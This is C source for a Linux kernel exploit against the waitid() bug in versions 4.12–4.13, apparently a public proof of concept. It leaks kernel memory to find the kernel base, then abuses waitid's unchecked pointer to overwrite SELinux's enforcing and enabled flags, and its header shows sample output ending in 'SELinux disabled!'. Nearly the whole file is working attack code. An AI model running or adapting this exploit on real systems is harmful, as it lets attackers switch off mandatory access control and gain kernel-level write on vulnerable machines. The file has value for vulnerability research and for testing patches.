/* * 4.12-4.13 waitid() infoleak and write-not-what-only-where - Yes, I just coined that term * * Federico Bento * @uid1000 on twitter * * * This quick, dirty and ugly exploit will actually give the system increased security * That's why it's beautiful :) * * * $ id * uid=1000 * $ ./a.out * [+] Leak size=144 bytes * [+] Got kernel base: 0xffffffffb5200000 * [+] Got selinux_enforcing: 0xffffffffb611cc90 * [+] Got selinux_enabled: 0xffffffffb5eb1350 * [+] Overwriting selinux_enforcing... * [+] Overwriting selinux_enabled... * [+] SELinux disabled! * * * Thanks to André Baptista (@0xACB) and all xSTF, spender for the infoleak * * Shout-out to all .pt :) * * Still relevant: https://www.grsecurity.net/~spender/pics/mac_security_sesamestreet.jpg * */ #include #include #include #include #include #include #include /* offsets might differ, kernel was custom compiled */ #define OFFSET_TO_BASE 0x1aec98 #define SELINUX_ENFORCING 0xf1cc90 #define SELINUX_ENABLED 0xcb1350 int main(void) { int pid, pid2, pid3; struct rusage rusage = { }; unsigned long *p; char *selinux_enforcing, *selinux_enabled; pid = fork(); if (pid > 0) { syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage); printf("[+] Leak size=%d bytes\n", sizeof(rusage)); for (p = (unsigned long *)&rusage; p < (unsigned long *)((char *)&rusage + sizeof(rusage)); p++) { if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) { p = (unsigned long *)(*p - OFFSET_TO_BASE); // spender's wouldn't actually work when KASLR was enabled printf("[+] Got kernel base: %p\n", p); selinux_enforcing = (char *)p + SELINUX_ENFORCING; printf("[+] Got selinux_enforcing: %p\n", selinux_enforcing); selinux_enabled = (char *)p + SELINUX_ENABLED; printf("[+] Got selinux_enabled: %p\n", selinux_enabled); break; } } if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000) exit(-1); } else if (pid == 0) { sleep(1); exit(0); } pid2 = fork(); if (pid2 > 0) { printf("[+] Overwriting selinux_enforcing...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(selinux_enforcing - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Failed!\n"); exit(1); } } else if (pid2 == 0) { sleep(1); exit(0); } pid3 = fork(); if (pid3 > 0) { printf("[+] Overwriting selinux_enabled...\n"); if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(selinux_enabled - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) { printf("[-] Failed!\n"); exit(1); } printf("[+] SELinux disabled!\n"); exit(0); } else if (pid3 == 0) { sleep(1); exit(0); } return 0; }